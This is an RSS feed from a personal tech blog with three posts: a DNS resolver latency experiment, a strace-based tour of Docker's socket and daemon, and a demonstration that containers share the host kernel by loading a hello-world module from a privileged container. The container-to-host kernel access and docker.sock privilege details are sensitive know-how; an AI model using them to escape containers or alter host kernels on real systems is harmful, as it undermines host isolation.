<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[FlareXes]]></title><description><![CDATA[Cybersecurity, Privacy tips, Linux tutorials, Programming advice, and Automation strategies]]></description><link>https://flarexes.com</link><image><url>https://cdn.hashnode.com/uploads/logos/620721c5a2be760e35394d88/a6b0d789-9b51-4f6a-a523-991274e19d65.png</url><title>FlareXes</title><link>https://flarexes.com</link></image><generator>RSS for Node</generator><lastBuildDate>Fri, 17 Apr 2026 15:13:58 GMT</lastBuildDate><atom:link href="https://flarexes.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Cached vs Non-Cached DNS: A Lazy Experiment That Got Interesting]]></title><description><![CDATA[I was bored and just wanted to code something to spark the life, of course.
And, to fight it, my brain thought, "how fast really is my DNS provider?"


No architecture diagram. No benchmarking framewo]]></description><link>https://flarexes.com/cached-vs-non-cached-dns-a-lazy-experiment-that-got-interesting</link><guid isPermaLink="true">https://flarexes.com/cached-vs-non-cached-dns-a-lazy-experiment-that-got-interesting</guid><category><![CDATA[dns]]></category><category><![CDATA[networking]]></category><category><![CDATA[Python]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Sat, 11 Apr 2026 03:11:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/620721c5a2be760e35394d88/8c676c1f-ad8f-4f2e-9544-2b06727d4ee8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I was bored and just wanted to code something to spark the life, of course.</p>
<p>And, to fight it, my brain thought, <em><strong>"how fast really is my DNS provider?"</strong></em></p>
<img src="https://media3.giphy.com/media/v1.Y2lkPTc5MGI3NjExMHBkYWdoMHZzcXU3NzdsZDc3am80eTk0eHRtajhpanc5ZnN2aWNueSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/8Zh3Wd7KZEWrnh0g1y/giphy.gif" alt="" style="display:block;margin:0 auto" />

<p>No architecture diagram. No benchmarking framework. No “this is how DNS testing should be done.” In fact, I didn’t even check how DNS benchmarking is <em>usually</em> done in the real world.</p>
<p>So, I casually started coding and end up with two scripts, and honestly, the results were way more interesting than I expected.</p>
<p>Before you even read further, I’d actually recommend:</p>
<p>👉 Go through the scripts<br />👉 Run them yourself<br />👉 Then come back</p>
<p>Repo: <a href="https://github.com/FlareXes/fastest-dns">https://github.com/FlareXes/fastest-dns</a></p>
<p>Because, the results depend a lot on <em>your</em> network, your routing, your ISP… everything.</p>
<h2>The Idea</h2>
<p>The idea was simple:</p>
<p><strong>Take a few popular public DNS resolvers:</strong></p>
<ul>
<li><p>Cloudflare (1.1.1.1)</p>
</li>
<li><p>Google (8.8.8.8)</p>
</li>
<li><p>Quad9 (9.9.9.9)</p>
</li>
</ul>
<p><strong>Test them in two scenarios:</strong></p>
<ul>
<li><p>Cached DNS</p>
</li>
<li><p>Non-cached DNS</p>
</li>
</ul>
<p><strong>And measure:</strong></p>
<ul>
<li><p>Average latency</p>
</li>
<li><p>Median latency</p>
</li>
<li><p>P95 latency</p>
</li>
</ul>
<p>No fancy tooling. Just Python + <code>dig</code>.</p>
<h2>🛑 <strong>Check Before You Proceed (So,</strong> Don’t Skip)</h2>
<p>Before you get excited and hit run, a few things that can completely ruin your results:</p>
<blockquote>
<p><strong>First - Make Sure Nothing Is Overriding Your DNS</strong></p>
</blockquote>
<p>If you’re using tools like: VPNs, Custom DNS clients like Portmaster, or OS-level DNS overrides.</p>
<p>Then there’s a good chance your DNS queries are being intercepted or rerouted.</p>
<p>Even if your script says:</p>
<pre><code class="language-shell">dig @1.1.1.1 example.com
</code></pre>
<p>Your system <em>might still ignore that</em> and use something else. If that happens, your results are basically fake. You’ll think you’re benchmarking Cloudflare but you’re not.</p>
<blockquote>
<p><strong>Second - Don’t Abuse Public DNS Servers (Seriously)</strong></p>
</blockquote>
<p>Don’t go wild with queries. These are public DNS services. Don’t hammer them with insane request rates.</p>
<p>The script already behaves nicely:</p>
<pre><code class="language-python">time.sleep(random.uniform(0.5, 1.0))
</code></pre>
<p>Keep it reasonable. Respect the service.</p>
<blockquote>
<p><strong>Third - You Can Tweak Everything</strong></p>
</blockquote>
<p>This isn’t a rigid benchmark. It’s more like a playground. You can change pretty much everything:</p>
<pre><code class="language-python">SERVERS = {
    "Cloudflare": "1.1.1.1",
    "Google": "8.8.8.8",
    "Quad9": "9.9.9.9"
}

RUNS = 20
</code></pre>
<p>Want to:</p>
<ul>
<li><p>Add your ISP’s DNS? Go ahead.</p>
</li>
<li><p>Increase runs to 100? Sure.</p>
</li>
<li><p>Change delays between queries? Do it.</p>
</li>
<li><p>Swap domains? Totally fine.</p>
</li>
</ul>
<p>This is meant to be explored, not followed blindly.</p>
<h2><strong>Simple Script — Talking to DNS</strong></h2>
<p>Both scripts revolve around one simple idea, run <code>dig</code>, extract the query time.</p>
<p>Here’s the core piece:</p>
<pre><code class="language-python">def query_dns(server, domain):
    result = subprocess.run(
        ["dig", f"@{server}", domain],
        capture_output=True,
        text=True
    )
    match = re.search(r"Query time: (\d+)", result.stdout)
    return int(match.group(1)) if match else None
</code></pre>
<p>Second, I tracked Metrics that actually matters</p>
<ol>
<li><p><strong>Average (Looks Useful, Lies Sometimes)</strong><br />Add everything and divide by number of runs</p>
<p>But here’s the problem:<br />If one or two queries spike hard (which happens in DNS), they can pull the average up significantly. So you might think: “This DNS is slow”.</p>
<p>When actually: 90% of queries were fast and 2 were just unlucky.</p>
</li>
<li><p><strong>Median (What You Actually Experience Most of the Time)</strong><br />It ignores extreme spikes. So if you want to know, what users usually experience how stable the resolver is.</p>
</li>
<li><p><strong>P95 (Worst Case)</strong><br />It tells you: “What do the slowest 5% of queries look like?”</p>
</li>
</ol>
<h2><strong>Phase One — Cached DNS</strong></h2>
<p>I started with cached DNS.</p>
<p>The idea here is simple: query the same domain repeatedly and let the resolver cache do its job.</p>
<p>Here’s the key part of the script :</p>
<pre><code class="language-python"># Warm-up queries
for _ in range(3):
    query_dns(ip, DOMAIN)
</code></pre>
<h3><strong>Why Warm-Up Matters</strong></h3>
<p>This primes the cache.</p>
<p>Without it:</p>
<ul>
<li><p>First few queries would be slower (cold start)</p>
</li>
<li><p>Results would be inconsistent</p>
</li>
</ul>
<p>After warm-up, every query hits cached data.</p>
<h2><strong>Second Phase — Non-Cached DNS</strong></h2>
<p>You cannot force public DNS resolvers to skip cache. So, I forced DNS resolver to miss the cache by generates a new long domain every time.</p>
<pre><code class="language-python">def random_domain():
    name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=12))
    return f"{name}.com"
</code></pre>
<ul>
<li><p>These domains are almost guaranteed to not exist</p>
</li>
<li><p>no cached answer exists</p>
</li>
<li><p>The resolver has to do full DNS resolution</p>
</li>
</ul>
<p>It’s a bit hacky but it works surprisingly well.</p>
<p>Now the resolver has to actually <em>do its job</em>:</p>
<ol>
<li><p>Ask root servers</p>
</li>
<li><p>Ask <code>.com</code> TLD servers</p>
</li>
<li><p>Ask authoritative servers</p>
</li>
</ol>
<p>Each step adds: Network hops, Latency, Variability.</p>
<p>One thing I almost ignored, I added random delays between queries to:</p>
<ul>
<li><p>prevent artificial bursts</p>
</li>
<li><p>avoid hammering servers</p>
</li>
</ul>
<pre><code class="language-python">time.sleep(random.uniform(0.5, 1.0))
</code></pre>
<h2><strong>Final Thoughts</strong></h2>
<p>I don't any for this one, thanks for the reading.</p>
]]></content:encoded></item><item><title><![CDATA[Tracing Docker Internals: Socket Communication, Daemon, and Kernel Sharing]]></title><description><![CDATA[Have you ever run docker ps and immediately moved on, as if that command simply floated into the void and came back with container names by magic?
Have you wondered why the Docker CLI sometimes works ]]></description><link>https://flarexes.com/how-docker-works-cli-to-kernel</link><guid isPermaLink="true">https://flarexes.com/how-docker-works-cli-to-kernel</guid><category><![CDATA[Docker]]></category><category><![CDATA[Linux]]></category><category><![CDATA[containers]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Hashnode]]></category><category><![CDATA[networking]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Sun, 05 Apr 2026 17:13:07 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/620721c5a2be760e35394d88/ad986369-2fcc-4ee0-a437-a339dab4e997.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Have you ever run <code>docker ps</code> and immediately moved on, as if that command simply floated into the void and came back with container names by magic?</p>
<p>Have you wondered why the Docker CLI sometimes works as <code>docker ps</code>, sometimes needing <code>sudo</code>?</p>
<p>Docker is not a tiny VM. It is not a mini operating system. It is just a executable binary which sends requests to a root-owned daemon (<code>dockerd</code>), which then speaks to the Linux kernel on your behalf. The whole thing is faster than a VM because it reuses the host kernel instead of booting a separate one. That one fact explains a huge amount of Docker behavior.</p>
<p>Let’s build the mental model from the bottom up.</p>
<h2>A quick proof that the kernel is shared</h2>
<p>Before we go deeper into Docker internals, we need to establish one key fact:</p>
<blockquote>
<p>Containers share the host kernel.</p>
</blockquote>
<p>I’ve already covered this in detail with multiple hands-on PoCs (including kernel modules) in Part 1:</p>
<p>👉 <a href="https://flarexes.com/can-you-modify-the-host-kernel-from-a-docker-container">Modify the Host Kernel from a Docker Container</a></p>
<p>So instead of repeating everything, here’s a quick summary of what we observed:</p>
<ul>
<li><p><strong>Same boot ID</strong><br /><code>/proc/sys/kernel/random/boot_id</code> is identical on host and container</p>
</li>
<li><p><strong>Same kernel version</strong><br />Even with different distros (Ubuntu host + Arch container), <code>uname -r</code> matches</p>
</li>
<li><p><strong>Same kernel logs</strong><br /><code>dmesg</code> shows identical kernel buffer output</p>
</li>
<li><p><strong>Kernel modification from container</strong><br />A privileged container can load a kernel module and the host immediately reflects it</p>
</li>
</ul>
<p>These progressively demonstrate that containers are not running their own kernel. They are operating directly on the host kernel.</p>
<p>If you want the full step-by-step breakdown (with code, compilation, and kernel-level demos), check out Part 1:</p>
<p>👉 <a href="https://flarexes.com/can-you-modify-the-host-kernel-from-a-docker-container">Modify the Host Kernel from a Docker Container</a></p>
<p><strong>If you prefer seeing this live instead of just reading logs:</strong></p>
<p>Here’s a full walkthrough of the exact setup, compilation, and kernel behavior from inside the container.</p>
<p><a class="embed-card" href="https://www.youtube.com/watch?v=lfA4surFhCM">https://www.youtube.com/watch?v=lfA4surFhCM</a></p>

<h2>What <code>docker ps</code> actually does</h2>
<p>Now that we know containers share the kernel, the next question becomes: how do Docker commands actually reach and control it?</p>
<p>When you run: <code>docker ps</code></p>
<p>the Docker CLI does not inspect containers directly. It talks to a daemon.</p>
<p>The CLI is basically a client. The daemon, <code>dockerd</code>, is the server.</p>
<p>The path looks like this:</p>
<pre><code class="language-plaintext">docker CLI -&gt; Unix socket -&gt; dockerd -&gt; containerd -&gt; runc -&gt; Linux kernel
</code></pre>
<p>Docker is not a giant monolith doing everything itself. It is more like a dispatcher.</p>
<p>A nice mental model is this:</p>
<ul>
<li><p><code>docker</code> CLI = the remote control</p>
</li>
<li><p><code>dockerd</code> = the receptionist</p>
</li>
<li><p><code>containerd</code> = the operations manager</p>
</li>
<li><p><code>runc</code> = the one that actually sets up the container process</p>
</li>
<li><p>Linux kernel = the stage on which the whole play happens</p>
</li>
</ul>
<h2>Tracing the socket connection with <code>strace</code></h2>
<p>This is where the topic becomes fun.</p>
<p>In my own traces, <code>strace -f -e trace=network docker ps</code> showed the CLI creating a Unix socket and connecting to <code>/var/run/docker.sock</code>, then the daemon side accepted the connection. The Docker service status also showed <code>TriggeredBy: docker.socket</code>, and <code>dockerd</code> was launched with <code>-H fd:// --containerd=/run/containerd/containerd.sock</code>, which matches the systemd socket-activation setup perfectly.</p>
<img src="https://cdn.hashnode.com/uploads/covers/620721c5a2be760e35394d88/73fcc913-c1f5-489c-aa04-b708e262dd3b.png" alt="" style="display:block;margin:0 auto" />

<p>The key line from the client side (refer above image) looked like this:</p>
<pre><code class="language-shell">socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
connect(3, {sa_family=AF_UNIX, sun_path="/var/run/docker.sock"}, 23) = 0
</code></pre>
<p>That tells you several important things:</p>
<ul>
<li><p>it is a Unix domain socket</p>
</li>
<li><p>it is local IPC, not TCP</p>
</li>
<li><p>the CLI connects to Docker through <code>/var/run/docker.sock</code></p>
</li>
</ul>
<p>On the daemon side, attaching <code>strace</code> to <code>dockerd</code> showed:</p>
<img src="https://cdn.hashnode.com/uploads/covers/620721c5a2be760e35394d88/da0c38bc-d3d9-4a59-ac0d-57683fcb61e3.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-shell">accept4(5, {sa_family=AF_UNIX}, [112 =&gt; 2], SOCK_CLOEXEC|SOCK_NONBLOCK) = 18
getsockname(18, {sa_family=AF_UNIX, sun_path="/run/docker.sock"}, [112 =&gt; 19]) = 0
</code></pre>
<p>That is the server accepting the client connection.</p>
<p>So now we have both ends of the story:</p>
<pre><code class="language-plaintext">docker CLI  -&gt;  connect()
dockerd     -&gt;  accept()
</code></pre>
<p>That is not theory. That is the actual syscall trail.</p>
<h2>What is Docker’s socket really doing?</h2>
<p><code>/run/docker.sock</code> is a Unix socket, not a file you read like a log. It is a local communication endpoint. The Docker CLI opens a connection to it, sends HTTP requests over it, and gets responses back.</p>
<p>Yes, HTTP over a Unix socket. A little weird, but very effective.</p>
<p>You can even bypass the CLI and talk directly to the daemon:</p>
<pre><code class="language-plaintext">curl --unix-socket /run/docker.sock http://localhost/containers/json
</code></pre>
<p>That will return the same kind of JSON the CLI uses internally.</p>
<p>That one command teaches a lot:</p>
<ul>
<li><p>Docker CLI is just a client</p>
</li>
<li><p>dockerd exposes an API</p>
</li>
<li><p>the API lives on a Unix socket</p>
</li>
<li><p>the CLI is not “doing container work” itself</p>
</li>
</ul>
<p>Docker is, in a sense, an HTTP API with a very friendly command-line face.</p>
<h2>SystemD socket activation for DockerD</h2>
<img src="https://cdn.hashnode.com/uploads/covers/620721c5a2be760e35394d88/9f5c0dec-b328-4561-a216-0c6c46db844b.png" alt="" style="display:block;margin:0 auto" />

<p>You may have seen something like this in <code>systemctl status docker.service</code>:</p>
<pre><code class="language-plaintext">TriggeredBy: ● docker.socket
</code></pre>
<p>That means systemd is managing the socket and can start <code>docker.service</code> when there is activity on it.</p>
<p>The status also often shows dockerd started like this:</p>
<pre><code class="language-plaintext">/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
</code></pre>
<p>That <code>fd://</code> part means dockerd receives an already-open file descriptor from systemd instead of creating the socket from scratch.</p>
<p>The flow is:</p>
<pre><code class="language-plaintext">systemd creates /run/docker.sock
docker CLI connects
systemd starts dockerd
systemd passes the socket FD to dockerd
dockerd accepts and serves the request
</code></pre>
<p>One important correction: systemd does not “proxy” the API traffic. It listens on the socket, starts the service when needed, and hands the socket over. After that, dockerd handles communication directly.</p>
<h2>How does Docker communicate root-owned services (DockerD, ContainerD, etc...)?</h2>
<p>This is where <code>sudo</code> and permissions become interesting.</p>
<p>The Docker daemon usually runs as root. That is because it needs root privileges to create namespaces, mount filesystems, set cgroups, manipulate networking, and start processes correctly.</p>
<p>The client, however, is just a user-space program. It needs permission to talk to the socket.</p>
<p>That means there are two common ways to use Docker:</p>
<ul>
<li><p>run <code>docker</code> with <code>sudo</code></p>
</li>
<li><p>add your user to the <code>docker</code> group</p>
</li>
</ul>
<p>If your user can access <code>/run/docker.sock</code>, your user can command the daemon. That is a very big deal.</p>
<p>A subtle but important security lesson: access to the Docker socket is almost equivalent to root on the host. If you can tell a root-owned daemon what to do, you can usually make it do root-level things. That is why the <code>docker</code> group is not “just another group.”</p>
<p>A safe mental model:</p>
<pre><code class="language-plaintext">your user -&gt; docker CLI -&gt; root-owned dockerd -&gt; kernel
</code></pre>
<p>The CLI is not the power. The socket is the power.</p>
<h2>Why the daemon needs containerd and runc</h2>
<p>Docker used to feel like one big thing. Internally, it is more modular now.</p>
<p>The current mental chain is:</p>
<pre><code class="language-plaintext">docker CLI
  -&gt; dockerd
    -&gt; containerd
      -&gt; runc
        -&gt; Linux kernel
</code></pre>
<p>What each component does:</p>
<ul>
<li><p><strong>docker CLI</strong>: sends requests</p>
</li>
<li><p><strong>dockerd</strong>: manages the Docker API and container lifecycle</p>
</li>
<li><p><strong>containerd</strong>: container lifecycle and orchestration backend</p>
</li>
<li><p><strong>runc</strong>: low-level OCI runtime that creates the actual container process</p>
</li>
<li><p><strong>kernel</strong>: namespaces, cgroups, mounts, networking</p>
</li>
</ul>
<p>This split is why Docker integrates well with other systems. It also explains why the daemon is not doing everything itself.</p>
<h2>Common misconceptions worth killing politely</h2>
<table>
<thead>
<tr>
<th>Misconceptions</th>
<th>Reality</th>
</tr>
</thead>
<tbody><tr>
<td><strong>A container has its own kernel</strong></td>
<td>No. It uses the host kernel.</td>
</tr>
<tr>
<td><strong>Docker CLI creates containers</strong></td>
<td>No. It talks to dockerd.</td>
</tr>
<tr>
<td><code>sudo docker</code> <strong>makes the container root</strong></td>
<td>Not exactly. It gives your user permission to talk to a root-owned daemon via Unix socket <code>/run/docker.sock</code>.</td>
</tr>
<tr>
<td><strong>Privileged containers are just regular containers</strong></td>
<td>No. They are much closer to host-level access and dangerous.</td>
</tr>
<tr>
<td><strong>Docker socket is just a file</strong></td>
<td>No. It is a Unix domain socket, a live endpoint for inter-process communication between Docker and DockerD</td>
</tr>
</tbody></table>
<h2>Why this matters in real life</h2>
<p>If you debug containers, build platforms, secure hosts, or run production workloads, you need this mental model.</p>
<p>It helps you understand:</p>
<ul>
<li><p>why Docker works without a VM</p>
</li>
<li><p>why a container can still hurt the host if misconfigured</p>
</li>
<li><p>why <code>docker.sock</code> is sensitive</p>
</li>
<li><p>why <code>--privileged</code> is dangerous</p>
</li>
<li><p>why systemd, namespaces, cgroups, and the kernel all matter together</p>
</li>
</ul>
<p>In other words, this is the difference between “I use Docker” and “I understand Docker.”</p>
<p>If I had to reduce the whole article to one diagram, it would be this:</p>
<pre><code class="language-plaintext">User
  |
  v
docker CLI
  |
  v
/run/docker.sock
  |
  v
dockerd
  |
  v
containerd    &gt;&gt;&gt;&gt;&gt; Not Covered
  |
  v
runc          &gt;&gt;&gt;&gt;&gt; Not Covered
  |
  v
Linux kernel
  |
  +--&gt; namespaces
  +--&gt; cgroups
  +--&gt; mounts
  +--&gt; networking
</code></pre>
<h2>🎥 Want to go deeper?</h2>
<p>If you found this useful, I’ve also put together a full video walkthrough covering everything step by step, including tracing Docker commands with <code>strace</code> and understanding the CLI → daemon → kernel flow.</p>
<p><a class="embed-card" href="https://www.youtube.com/watch?v=lfA4surFhCM">https://www.youtube.com/watch?v=lfA4surFhCM</a></p>

<h2>Key takeaways</h2>
<ul>
<li><p>Docker containers share the host kernel.</p>
</li>
<li><p>The Docker CLI talks to <code>dockerd</code> over <code>/run/docker.sock</code>.</p>
</li>
<li><p><code>strace</code> can show the actual <code>connect()</code> and <code>accept()</code> syscalls.</p>
</li>
<li><p>systemd socket activation can start Docker through <code>docker.socket</code>.</p>
</li>
<li><p><code>dockerd</code> delegates real container work to <code>containerd</code> and <code>runc</code>.</p>
</li>
<li><p>Access to <code>docker.sock</code> is effectively high privilege.</p>
</li>
<li><p><code>--privileged</code> containers can do very dangerous things because they can reach deep into the shared kernel.</p>
</li>
</ul>
<p>Thanks for reading.</p>
]]></content:encoded></item><item><title><![CDATA[Modify the Host Kernel from a Docker Container]]></title><description><![CDATA[Can we prove Docker shares the same kernel as the host machine?
Yes — and we can prove it hands-on.
This was actually a random thought. I didn’t research existing proofs or blog posts because I wanted]]></description><link>https://flarexes.com/modify-the-host-kernel-from-a-docker-container</link><guid isPermaLink="true">https://flarexes.com/modify-the-host-kernel-from-a-docker-container</guid><category><![CDATA[Docker]]></category><category><![CDATA[Kernel]]></category><category><![CDATA[Linux]]></category><category><![CDATA[containers]]></category><category><![CDATA[Hashnode]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Mon, 16 Feb 2026 03:36:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1771187350709/002a295d-1eee-45d7-8602-ebef12bea7ab.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Can we prove Docker shares the same kernel as the host machine?</p>
<p>Yes — and we can prove it hands-on.</p>
<p>This was actually a random thought. I didn’t research existing proofs or blog posts because I wanted to reason from first principles using my understanding of Linux and Docker. Heck, I don’t even know if there are any. So, there may be more sophisticated PoCs out there, but this one is based purely on Linux and Docker fundamentals I know. So anyone with basic CLI knowledge can follow along.</p>
<h2>Why is Docker Faster than Virtual Machines?</h2>
<p>Lame question for this topic. I know but I got commentators to cover.<br />But let’s cover the basics in five lines for anyone wondering why we’re even here.</p>
<p>Here’s my least-effort explanation:<br />The short answer is <em><strong>Docker shares the kernel of the host system</strong></em>.</p>
<p>Docker containers do <strong>not</strong> boot their own operating system. They do <strong>not</strong> run their own kernel. They are simply isolated processes running on the host’s kernel.</p>
<p>That’s the core idea.</p>
<p>Now let’s prove it in four different ways.</p>
<div>
<div>👻</div>
<div>It’s safer to run these experiments inside a Virtual Machine. We’ll eventually modify the kernel, and you don’t want to risk breaking your primary system.</div>
</div>

<h2>1. Observational Proof: Identical Boot ID</h2>
<p>Every time a Linux system boots, it generates a unique boot ID. You can find it here: <code>/proc/sys/kernel/random/boot_id</code>. So, if a container truly shares the host kernel, both should show the same boot ID.</p>
<p>And, yep! that is the case.</p>
<p><strong>Host Machine:</strong></p>
<pre><code class="language-bash">cat /proc/sys/kernel/random/boot_id
</code></pre>
<p><strong>Docker Container:</strong></p>
<pre><code class="language-bash">docker run --rm archlinux:latest cat /proc/sys/kernel/random/boot_id
</code></pre>
<p>As shown in below screenshot they both share the same boot ID.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771208143758/37d64d11-1507-4329-90af-752da63aecdf.png" alt="" style="display:block;margin:0 auto" />

<p>This was easy mode. However, it does not strictly guarantee it. For example, alternative container runtimes like gVisor can virtualize certain kernel interfaces and potentially invalidate this test or PoC.</p>
<h2>2. Cross-Distribution Check: Same Running Kernel Version</h2>
<p>This one is actually real good. I’m going to use two different Linux flavors just to make the contrast obvious.</p>
<p>Like Such:</p>
<ul>
<li><p>Host system = Ubuntu</p>
</li>
<li><p>Container = Arch Linux</p>
</li>
</ul>
<p>You can swap them however you like the distro choice doesn’t matter.</p>
<p>Logic is simple: since both resources allegedly share same kernel then they must show the same Linux kernel version even though they’re different operating systems.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771208505260/bcf84db7-628f-4bc7-9605-a84c304b9faf.png" alt="" style="display:block;margin:0 auto" />

<p>If you’ve fiddled around with different Linux distros, you probably know that each distro typically has its own kernel build format. If Arch were running its own kernel, you’d expect something like:</p>
<pre><code class="language-bash">~ uname -r
6.18.x-arch1-2   # Arch Linux Kernel Version Format
</code></pre>
<p>But instead, you see the Ubuntu kernel version.</p>
<p>But Is This Enough? Not really. This only proves both environments report the same kernel version. Doesn’t mean they’re literally share the same kernel.</p>
<p><em>“What if Docker somehow copies the host kernel into the container?”</em></p>
<p>That would still result in the same version number without necessarily sharing the same running kernel instance. So again — strong evidence. But not really.</p>
<h2>3. Runtime Evidence: Shared Kernel Log Buffer</h2>
<p>Now we’re getting serious. Because if Docker shares the same kernel instance, then both environments must share the same kernel log buffer. That means <code>dmesg</code> output should be exactly the same.</p>
<p>By default, containers cannot access kernel logs. So we must tell docker to grant permission.</p>
<p><strong>Start Container With <em>SYSLOG</em> Capability</strong></p>
<pre><code class="language-bash">docker run --rm --cap-add SYSLOG ubuntu:latest bash -c "dmesg | tail -20"
</code></pre>
<p>You could also use <code>--privileged</code> instead of <code>--cap-add SYSLOG</code>, but that grants far more access than we need.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771208969809/33c6adfd-c42a-46a9-9618-f24489b23e78.png" alt="" style="display:block;margin:0 auto" />

<p>See, the logs are not just similar — they are identical. This is a very strong evidence.</p>
<p>Could This Still Be Fake? Theoretically, one might argue:</p>
<p>“<em>What if Docker is exposing /dev/kmsg to containers?”</em></p>
<p>Even in that case, the container would still be reading the host’s live kernel message buffer which means there is no separate kernel instance running inside the container.</p>
<p>If you really wanted to push this further, you could even compare checksums of the full <code>dmesg</code> output from host and container. But at that point, we’re just mathematically proving what’s already practically obvious.</p>
<p>But we’re not stopping here.</p>
<p>Time for final boss.</p>
<div>
<div>🤔</div>
<div>After thought, my counter logic isn’t that logical here. Checksum match is a strong proof. If Docker were mounting <code>/dev/kmsg</code>, we could easily verify that.</div>
</div>

<h2>4. Definitive Proof: Mutating the Kernel from Inside a Container</h2>
<p>Let’s go for the head of the guy who’s so skeptical that he thinks Docker has nothing better to do than lie to people.</p>
<p>Login is simple: modifying the kernel from inside the container should affect the host.</p>
<p>So let’s test exactly that. We’ll insert a kernel module from inside the container and observe its effect on the host.</p>
<p>I’ll go with a good old simple “Hello World” kernel module that prints something into the kernel log buffer. Just enough to prove a point. You could take this further and experiment with things like modifying the network stack, blocking traffic, or other kernel-level changes.</p>
<p>We’ll need a bit more configuration for this step.</p>
<p><strong>Start a Privileged Container With Module Access</strong></p>
<pre><code class="language-bash">docker run -it --privileged \
-v /lib/modules:/lib/modules \
-v /usr/src:/usr/src \
ubuntu:latest /bin/bash
</code></pre>
<p><strong>Why mount</strong> <code>/lib/modules</code> <strong>and</strong> <code>/usr/src</code><strong>?</strong></p>
<ul>
<li><p><code>/lib/modules</code> contains kernel modules for the running kernel.</p>
</li>
<li><p><code>/usr/src</code> contains kernel headers required to compile modules.</p>
</li>
<li><p>We mount them so the container can compile modules against the host kernel.</p>
</li>
</ul>
<p>Without this, module compilation would fail.</p>
<p>Install required tools inside the container</p>
<pre><code class="language-bash">apt update &amp;&amp; apt install nano kmod build-essential linux-headers-$(uname -r)
</code></pre>
<p>Create a filename <code>hello_kernel.c</code> and paste below code.</p>
<pre><code class="language-c">#include &lt;linux/module.h&gt;
#include &lt;linux/init.h&gt;
#include &lt;linux/kernel.h&gt;

MODULE_LICENSE("GPL");

static int __init hello_init(void)
{
    printk(KERN_INFO "[hello_kernel] Hello, kernel world!\n");
    return 0;
}

static void __exit hello_exit(void)
{
    printk(KERN_INFO "[hello_kernel] Goodbye, kernel world!\n");
}

module_init(hello_init);
module_exit(hello_exit);
</code></pre>
<p>The above code prints <em>“[hello_kernel] Hello, kernel world!”</em> into the kernel log buffer when the module is inserted, and prints <em>“[hello_kernel] Goodbye, kernel world!”</em> when the module is removed.</p>
<p>Create a filename <code>Makefile</code> in the same directory and paste below code.</p>
<pre><code class="language-makefile">obj-m += hello_kernel.o

all:
	make -C /lib/modules/\((shell uname -r)/build M=\)(PWD) modules

clean:
	make -C /lib/modules/\((shell uname -r)/build M=\)(PWD) clean
</code></pre>
<div>
<div>👉</div>
<div>Keep in mind filename matters if you don’t know how and why. Keep them same as me.</div>
</div>

<p>Once that is done. Let’s compile them inside container with below <code>make</code> command.</p>
<pre><code class="language-bash">make
</code></pre>
<p>The “make“ command will produce multiple files we only care about <code>hello_kernel.ko</code>. It’s kernel object file.</p>
<p>Let’s insert the module in the kernel and as soon as I do that, it would print <em>“[hello_kernel] Hello, kernel world!“</em> in kernel’s log buffer.</p>
<pre><code class="language-bash">insmod hello_kernel.ko
</code></pre>
<p>Now run <code>dmesg</code> on host system and inside container you would see both places hello message printed as show in the screenshot.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771210191436/a75a36e4-cac1-4a11-9301-fefb5040bbf8.png" alt="" style="display:block;margin:0 auto" />

<p>To see goodbye message remove the module from container with below command.</p>
<pre><code class="language-bash">rmmod hello_kernel
</code></pre>
<p>Voila! we modified Linux kernel from container which proves that <em><strong>Docker containers share the kernel of the host system.</strong></em></p>
<h2>But the more interesting part is:</h2>
<p>Since the host and Docker container are sharing the same kernel, the module we inserted from inside the container is visible on the host system as well.</p>
<p>Which means we can remove the module from the host system too, and that change will immediately reflect inside the Docker container also.</p>
<p>Because again — there is only one kernel.</p>
<p><strong>On Host System:</strong></p>
<pre><code class="language-bash">lsmod | grep hello_kernel
</code></pre>
<pre><code class="language-bash">rmmod hello_kernel
</code></pre>
<pre><code class="language-bash">dmesg | tail -5
</code></pre>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1771210706444/1505fdee-ad68-4d90-885d-87a79765c7c1.png" alt="" style="display:block;margin:0 auto" />

<h2>Bye Bye!</h2>
<p>There are may be cleaner, more formal, or more academically rigorous demonstrations out there and if you know one, I’d genuinely like to see it. This was simply a practical exploration based on how Linux works and how Docker is designed.</p>
<p>But from an engineering standpoint, after inserting a kernel module from inside a container and seeing it reflected instantly on the host, there isn’t much ambiguity left.</p>
<p>Docker doesn’t emulate a kernel. It doesn’t clone one. It shares one.</p>
<p>If you enjoy breaking systems apart and understanding what’s <em>actually</em> happening underneath the abstraction layer, you might also find these interesting:</p>
<ul>
<li><p><a href="https://flarexes.com/why-does-session-hijacking-exist-how-it-works-cookies-vs-http-headers">Hacking Discord: Why Does Session Hijacking Exist &amp; How it Works?</a></p>
</li>
<li><p>Most Viewed: <a href="https://flarexes.com/hyprland-getting-started-configure-screen-lock-brightness-volume-authentication-and-more">Hyprland Getting-Started: Configure Screen Lock, Authentication and More</a>.</p>
</li>
</ul>
<p>Thanks For Your Time.</p>
<h2>🎥 Watch the walkthrough</h2>
<p>If you want to see everything from kernel modules to Docker internals in action, I recorded a full step-by-step video.</p>
